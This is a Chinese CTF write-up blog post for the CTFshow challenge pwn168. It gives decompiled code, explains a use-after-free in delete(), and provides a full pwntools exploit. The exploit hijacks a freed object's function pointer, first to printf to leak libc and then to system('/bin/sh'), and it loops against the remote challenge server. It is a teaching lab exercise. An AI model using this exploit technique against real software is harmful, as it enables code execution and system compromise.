CTFshow-pwn168

[!NOTE]

或许需要爆破

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

got 表可改

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn168
[*] '/home/niuyingying/ctf/pwn/pwn168'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序大致流程

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[1032]; // [rsp+0h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init_1(a1, a2, a3);
  init_2();
  printf("Let's go!");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        if ( !read(0, buf, 0x400u) )
          return 1;
        if ( strncmp(buf, "create ", 7u) )
          break;
        create();
      }
      if ( strncmp(buf, "delete ", 7u) )
        break;
      delete();
    }
    if ( !strncmp(buf, "quit ", 5u) )
      break;
    puts("Invalid cmd");
  }
  puts("Bye~");
  return 0;
}
unsigned __int64 create()
{
  int i; // [rsp+4h] [rbp-102Ch]
  char *ptr; // [rsp+8h] [rbp-1028h]
  char *dest; // [rsp+10h] [rbp-1020h]
  size_t nbytes; // [rsp+18h] [rbp-1018h]
  size_t nbytesa; // [rsp+18h] [rbp-1018h]
  char buf[4104]; // [rsp+20h] [rbp-1010h] BYREF
  unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  ptr = malloc(0x20u);
  printf("Pls give string size:");
  nbytes = Read();
  if ( nbytes <= 0x1000 )
  {
    printf("str:");
    if ( read(0, buf, nbytes) == -1 )
    {
      puts("got elf!!");
      exit(1);
    }
    nbytesa = strlen(buf);
    if ( nbytesa > 0xF )
    {
      dest = malloc(nbytesa);
      if ( !dest )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(dest, buf, nbytesa);
      *ptr = dest;
      *(ptr + 3) = sub_CDB;
    }
    else
    {
      strncpy(ptr, buf, nbytesa);
      *(ptr + 3) = sub_CC0;
    }
    *(ptr + 4) = nbytesa;
    for ( i = 0; i <= 15; ++i )
    {
      if ( !*(&unk_2020C0 + 4 * i) )
      {
        *(&unk_2020C0 + 4 * i) = 1;
        *(&unk_2020C0 + 2 * i + 1) = ptr;
        printf("The string id is %d\n", i);
        break;
      }
    }
    if ( i == 16 )
    {
      puts("The string list is full");
      (*(ptr + 3))(ptr);
    }
  }
  else
  {
    puts("Invalid size");
    free(ptr);
  }
  return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Pls give me the string id you want to delete\nid:");
  v1 = Read();
  if ( v1 > 0x10 )
    puts("Invalid id");
  if ( *(&unk_2020C0 + 2 * v1 + 1) )
  {
    printf("Are you sure?:");
    read(0, buf, 0x100u);
    if ( !strncmp(buf, "yes", 3u) )
    {
      (*(*(&unk_2020C0 + 2 * v1 + 1) + 24LL))(*(&unk_2020C0 + 2 * v1 + 1));
      *(&unk_2020C0 + 4 * v1) = 0;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

发现 delete() 函数只清零了 *(&unk_2020C0 + 4 * v1) ,而没有清零 *(&unk_2020C0 + 2 * v1 + 1) ,因此,存在 UAF 漏洞,由于 nbytesa = strlen(buf) ,所以不适合利用 stdout 泄露 libc

与修改 got 表内容不同的是,这道题的解题思路是修改对象里的函数指针,而不是修改 got 表

首先释放 id1、id0 ,再创建长字符串,让长字符串 buffer 复用 id1 的旧对象 chunk,于是可以改旧对象 +0x18 的函数指针。第一次改成 printf 泄露,第二次改成 system 执行 /bin/sh

这道题我最开始挑选的是 %20$p ,但是一直打不通,所以需要注意一下

leak libc 里的符号地址 -> 可以减 libc.sym

leak ld/栈/堆/其他映射地址 -> 不能随便拿本地运行时距离当远程偏移

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn168')
libc = ELF('./libc-2.23.so')


# io = process('./pwn168')
# io = remote("pwn.challenge.ctf.show", 28128)

# io = gdb.debug('./pwn168', gdbscript='set pagination off\nbreakrva 0x10CB\nbreakrva 0xE42\nc')

def create(text):
    io.recvuntil(b"3.quit\n")
    io.sendline(b"create ")
    io.recvuntil(b"Pls give string size:")
    io.sendline(str(len(text) + 1).encode())
    io.recvuntil(b"str:")
    io.send(text + b"\x00")


def delete(i):
    io.recvuntil(b"3.quit\n")
    io.sendline(b"delete ")
    io.recvuntil(b"Pls give me the string id you want to delete\nid:")
    io.sendline(str(i).encode())
    io.recvuntil(b"Are you sure?:")
    io.sendline(b"yes")


for i in range(0x100):
    try:
        io = remote("pwn.challenge.ctf.show", 28128)

        create(b"a" * 0x10)  # 0
        create(b"b" * 0x10)  # 1

        delete(1)
        delete(0)

        create(b"%22$p.".ljust(0x18, b"c") + p64(elf.plt['printf']))  # b'\xc0\x08\x00\x00\x00\x00\x00\x00'
        delete(1)

        # 将十六进制字符串转换为 Python 整数
        io.recvuntil(b"0x")
        leak = int(io.recvuntil(b".", drop=True), 16)
        print(hex(leak))

        libc_base = leak - libc.sym['_IO_2_1_stdout_']
        print(hex(libc_base))

        system_addr = libc_base + libc.sym['system']

        create(b"a" * 0x10)  # 1
        create(b"b" * 0x10)  # 2

        delete(2)
        delete(1)

        create(b"/bin/sh;".ljust(0x18, b" ") + p64(system_addr))
        delete(2)

        io.interactive()
        break
    except EOFError:
        try:
            io.close()
        except:
            pass
posted @ 2026-08-10 16:22  AurY1n  阅读(3)  评论(0)    收藏  举报